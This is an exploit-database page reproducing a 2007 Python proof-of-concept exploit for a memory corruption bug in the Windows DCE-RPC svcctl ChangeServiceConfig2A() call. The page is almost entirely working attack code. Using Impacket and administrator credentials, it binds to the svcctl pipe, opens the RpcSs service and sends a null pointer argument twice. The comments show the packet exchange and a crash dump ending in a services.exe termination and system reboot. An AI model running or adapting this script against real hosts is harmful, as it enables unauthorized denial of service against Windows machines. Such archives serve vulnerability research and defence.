Lucene search
K

MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption

🗓️ 12 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 63 Views

MS Windows DCE-RPC svcctl ChangeServiceConfig2A Memory Corruption PoC Exploit by Krystian Kloskowsk

Code

                                                #!/usr/bin/python
# MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
#&nbsp;Bug&nbsp;discovered&nbsp;by&nbsp;Krystian&nbsp;Kloskowski&nbsp;(h07)&nbsp;<[email protected]>
#&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;2000&nbsp;SP4&nbsp;Polish&nbsp;(all&nbsp;patches)
#
#&nbsp;Requires..
#&nbsp;-&nbsp;Impacket&nbsp;:&nbsp;http://oss.coresecurity.com/projects/impacket.html
#&nbsp;-&nbsp;PyCrypto&nbsp;:&nbsp;http://www.amk.ca/python/code/crypto.html
#
#&nbsp;Details:..
#
#&nbsp;[exploit]&nbsp;Session&nbsp;Setup&nbsp;AndX&nbsp;Request,&nbsp;User:&nbsp;Administrator&nbsp;-->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;Session&nbsp;Setup&nbsp;AndX&nbsp;Response&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;Tree&nbsp;Connect&nbsp;AndX&nbsp;Request&nbsp;-->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;Tree&nbsp;Connect&nbsp;AndX&nbsp;Response&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;NT&nbsp;Create&nbsp;AndX&nbsp;Request,&nbsp;Path:&nbsp;svcctl&nbsp;-->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;NT&nbsp;Create&nbsp;AndX&nbsp;Response,&nbsp;Fid:&nbsp;0x4000&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;DCERPC&nbsp;Bind&nbsp;UUID:&nbsp;SVCCTL&nbsp;-->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;DCERPC&nbsp;Bind_ack&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;SVCCTL&nbsp;OpenSCManagerW&nbsp;request&nbsp;-->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;SVCCTL&nbsp;OpenSCManagerW&nbsp;response(handle)&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;SVCCTL&nbsp;OpenServiceW&nbsp;request&nbsp;-->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;SVCCTL&nbsp;OpenServiceW&nbsp;response(handle)&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;SVCCTL&nbsp;ChangeServiceConfig2A(handle,&nbsp;1,&nbsp;1,&nbsp;0x00000000)&nbsp;-->&nbsp;[target]
#&nbsp;[exploit]&nbsp;DCERPC&nbsp;Fault:&nbsp;status:&nbsp;unknwon(0xc00000fd)&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target]
#&nbsp;[exploit]&nbsp;SVCCTL&nbsp;ChangeServiceConfig2A(handle,&nbsp;1,&nbsp;1,&nbsp;0x00000000)&nbsp;-->&nbsp;[target]
#&nbsp;[exploit]&nbsp;SMB&nbsp;Trans&nbsp;Response,&nbsp;Error:&nbsp;Unknown&nbsp;DoS&nbsp;Error&nbsp;<--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[target](crashed)
#
#&nbsp;[Module&nbsp;services]
#&nbsp;Exception&nbsp;C0000005&nbsp;(ACCESS_VIOLATION&nbsp;reading&nbsp;[00000000])
#&nbsp;-------------------------------------------------------------
#&nbsp;EAX=00000000:&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??-??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??
#&nbsp;EBX=004D83C0:&nbsp;28&nbsp;83&nbsp;4D&nbsp;00&nbsp;48&nbsp;84&nbsp;4D&nbsp;00-34&nbsp;84&nbsp;4D&nbsp;00&nbsp;48&nbsp;61&nbsp;08&nbsp;00
#&nbsp;ECX=00000890:&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??-??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??
#&nbsp;EDX=00000001:&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??-??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??
#&nbsp;ESP=015BF8C0:&nbsp;34&nbsp;F9&nbsp;5B&nbsp;01&nbsp;00&nbsp;00&nbsp;00&nbsp;00-00&nbsp;FB&nbsp;5B&nbsp;01&nbsp;00&nbsp;00&nbsp;00&nbsp;00
#&nbsp;EBP=015BF8F4:&nbsp;30&nbsp;F9&nbsp;5B&nbsp;01&nbsp;AD&nbsp;20&nbsp;01&nbsp;01-B8&nbsp;FB&nbsp;0D&nbsp;00&nbsp;01&nbsp;00&nbsp;00&nbsp;00
#&nbsp;ESI=00000000:&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??-??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??&nbsp;??
#&nbsp;EDI=01017000:&nbsp;90&nbsp;9C&nbsp;07&nbsp;00&nbsp;FF&nbsp;FF&nbsp;FF&nbsp;FF-00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00
#&nbsp;EIP=010108A8:&nbsp;FF&nbsp;30&nbsp;68&nbsp;90&nbsp;A5&nbsp;00&nbsp;01&nbsp;FF-75&nbsp;FC&nbsp;E8&nbsp;CF&nbsp;1D&nbsp;00&nbsp;00&nbsp;8B
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-->&nbsp;PUSH&nbsp;DWORD&nbsp;PTR&nbsp;[EAX]
#
#&nbsp;[Process&nbsp;services.exe&nbsp;terminated,&nbsp;system&nbsp;reboot]
#
#&nbsp;Just&nbsp;for&nbsp;fun&nbsp;;]
##

from&nbsp;impacket.structure&nbsp;import&nbsp;Structure
from&nbsp;impacket.dcerpc&nbsp;import&nbsp;transport
from&nbsp;impacket&nbsp;import&nbsp;uuid
from&nbsp;random&nbsp;import&nbsp;randint
from&nbsp;time&nbsp;import&nbsp;sleep

host&nbsp;=&nbsp;\'192.168.0.1\'
username&nbsp;=&nbsp;\'Administrator\'
password&nbsp;=&nbsp;\'Administrator_Password\'

interface&nbsp;=&nbsp;(\'svcctl\',&nbsp;\'367abb81-9844-35f1-ad32-98f038001003\',&nbsp;\'2.0\')

stringbinding&nbsp;=&nbsp;\"ncacn_np:%(host)s[\\pipe\\%(pipe)s]\"
stringbinding&nbsp;%=&nbsp;{
\'host\':&nbsp;host,
\'pipe\':&nbsp;interface[0],
}

#&nbsp;random&nbsp;dword
def&nbsp;dword_rand():
&nbsp;&nbsp;&nbsp;s_dword&nbsp;=&nbsp;256&nbsp;**&nbsp;4
&nbsp;&nbsp;&nbsp;return&nbsp;randint(0,&nbsp;s_dword)

#&nbsp;unicode&nbsp;string
def&nbsp;utf16(str):
&nbsp;&nbsp;&nbsp;return&nbsp;str.encode(\'utf_16_le\')

#&nbsp;MS&nbsp;RPC&nbsp;string
def&nbsp;rpcstr(str,&nbsp;id&nbsp;=&nbsp;1,&nbsp;unicode_string&nbsp;=&nbsp;1):
&nbsp;&nbsp;&nbsp;class&nbsp;foo(Structure):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alignment&nbsp;=&nbsp;4
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;structure&nbsp;=&nbsp;()

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(id&nbsp;==&nbsp;1):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;structure&nbsp;+=&nbsp;((\'id\',&nbsp;\'<L\')),

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;structure&nbsp;+=&nbsp;(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'max\',&nbsp;\'<L\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'offset\',&nbsp;\'<L=0\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'actual\',&nbsp;\'<L\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'str\',&nbsp;\'%s\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)

&nbsp;&nbsp;&nbsp;query&nbsp;=&nbsp;foo()

&nbsp;&nbsp;&nbsp;if(id&nbsp;==&nbsp;1):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query[\'id\']&nbsp;=&nbsp;dword_rand()

&nbsp;&nbsp;&nbsp;query[\'max\']&nbsp;=&nbsp;len(str)
&nbsp;&nbsp;&nbsp;query[\'actual\']&nbsp;=&nbsp;len(str)

&nbsp;&nbsp;&nbsp;if(unicode_string&nbsp;==&nbsp;1):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query[\'str\']&nbsp;=&nbsp;utf16(str)
&nbsp;&nbsp;&nbsp;else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query[\'str\']&nbsp;=&nbsp;str

&nbsp;&nbsp;&nbsp;return&nbsp;query

#&nbsp;MS&nbsp;RPC&nbsp;OpenSCManager
def&nbsp;OpenSCManager(host,&nbsp;access&nbsp;=&nbsp;1):
&nbsp;&nbsp;&nbsp;class&nbsp;foo(Structure):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;opnum&nbsp;=&nbsp;0x0f
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;structure&nbsp;=&nbsp;(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'str1\',&nbsp;\':\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'null\',&nbsp;\'<L=0\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'access\',&nbsp;\'<L\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)

&nbsp;&nbsp;&nbsp;query&nbsp;=&nbsp;foo()
&nbsp;&nbsp;&nbsp;query[\'str1\']&nbsp;=&nbsp;rpcstr(\"\\\\%sx00\"&nbsp;%&nbsp;(host))
&nbsp;&nbsp;&nbsp;query[\'access\']&nbsp;=&nbsp;access

&nbsp;&nbsp;&nbsp;return&nbsp;query

#&nbsp;MS&nbsp;RPC&nbsp;OpenServiceW
def&nbsp;OpenService(handle,&nbsp;service,&nbsp;access&nbsp;=&nbsp;1):
&nbsp;&nbsp;&nbsp;class&nbsp;foo(Structure):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;opnum&nbsp;=&nbsp;0x10
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;structure&nbsp;=&nbsp;(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'handle\',&nbsp;\':\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'str1\',&nbsp;\':\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'access\',&nbsp;\'<L\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)

&nbsp;&nbsp;&nbsp;query&nbsp;=&nbsp;foo()

&nbsp;&nbsp;&nbsp;query[\'handle\']&nbsp;=&nbsp;handle
&nbsp;&nbsp;&nbsp;query[\'str1\']&nbsp;=&nbsp;rpcstr(\"%sx00\"&nbsp;%&nbsp;(service),&nbsp;0)
&nbsp;&nbsp;&nbsp;query[\'access\']&nbsp;=&nbsp;access

&nbsp;&nbsp;&nbsp;return&nbsp;query

trans&nbsp;=&nbsp;transport.DCERPCTransportFactory(stringbinding)
trans.set_credentials(username,&nbsp;password)
trans.connect()
dce&nbsp;=&nbsp;trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((interface[1],&nbsp;interface[2])))

query&nbsp;=&nbsp;OpenSCManager(host,&nbsp;access&nbsp;=&nbsp;1)
dce.call(query.opnum,&nbsp;query)
raw&nbsp;=&nbsp;dce.recv()
handle&nbsp;=&nbsp;raw[:20]

query&nbsp;=&nbsp;OpenService(handle,&nbsp;\"RpcSs\",&nbsp;access&nbsp;=&nbsp;0xF01FF)
dce.call(query.opnum,&nbsp;query)
raw&nbsp;=&nbsp;dce.recv()
handle&nbsp;=&nbsp;raw[:20]

##
#&nbsp;ChangeServiceConfig2A()&nbsp;[IDL&nbsp;code&nbsp;generated&nbsp;by&nbsp;mIDA&nbsp;v1.0.7]
#
#&nbsp;typedef&nbsp;struct&nbsp;struct_1&nbsp;{
#&nbsp;&nbsp;long&nbsp;elem_1;
#&nbsp;&nbsp;[switch_is(elem_1)]&nbsp;union&nbsp;union_2&nbsp;elem_2;
#&nbsp;&nbsp;}&nbsp;struct_1&nbsp;;
#
#&nbsp;typedef&nbsp;[switch_type(&nbsp;unsigned&nbsp;long&nbsp;)]&nbsp;union&nbsp;union_2&nbsp;{
#&nbsp;[case(1)]&nbsp;&nbsp;struct&nbsp;struct_3&nbsp;*&nbsp;elem_1;
#&nbsp;[case(2)]&nbsp;&nbsp;struct&nbsp;struct_4&nbsp;*&nbsp;elem_2;
#&nbsp;}&nbsp;union_2;
#
#&nbsp;typedef&nbsp;struct&nbsp;struct_3&nbsp;{
#&nbsp;[string]&nbsp;char&nbsp;*&nbsp;elem_1;
#&nbsp;}&nbsp;struct_3&nbsp;;
#
#
#&nbsp;/*&nbsp;opcode:&nbsp;0x24,&nbsp;address:&nbsp;0x0101203B&nbsp;*/
#
#&nbsp;long&nbsp;&nbsp;sub_101203B&nbsp;(
#&nbsp;[in][context_handle]&nbsp;void&nbsp;*&nbsp;arg_1,
#&nbsp;[in]&nbsp;struct&nbsp;struct_1&nbsp;arg_2
#&nbsp;);
##

class&nbsp;ChangeServiceConfig2A(Structure):
&nbsp;&nbsp;&nbsp;opnum&nbsp;=&nbsp;0x24
&nbsp;&nbsp;&nbsp;structure&nbsp;=&nbsp;(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'context_handle\',&nbsp;\':\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'switch_is\',&nbsp;\'<L=1\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'case\',&nbsp;\'<L=1\'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(\'struct_3\',&nbsp;\'<L=0x00000000\'),&nbsp;#&nbsp;<--&nbsp;vulnerable&nbsp;argument
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)

query&nbsp;=&nbsp;ChangeServiceConfig2A()
query[\'context_handle\']&nbsp;=&nbsp;handle

for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;2):
&nbsp;&nbsp;&nbsp;dce.call(query.opnum,&nbsp;query)
&nbsp;&nbsp;&nbsp;sleep(1)

dce.disconnect()

#&nbsp;EoF

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1
63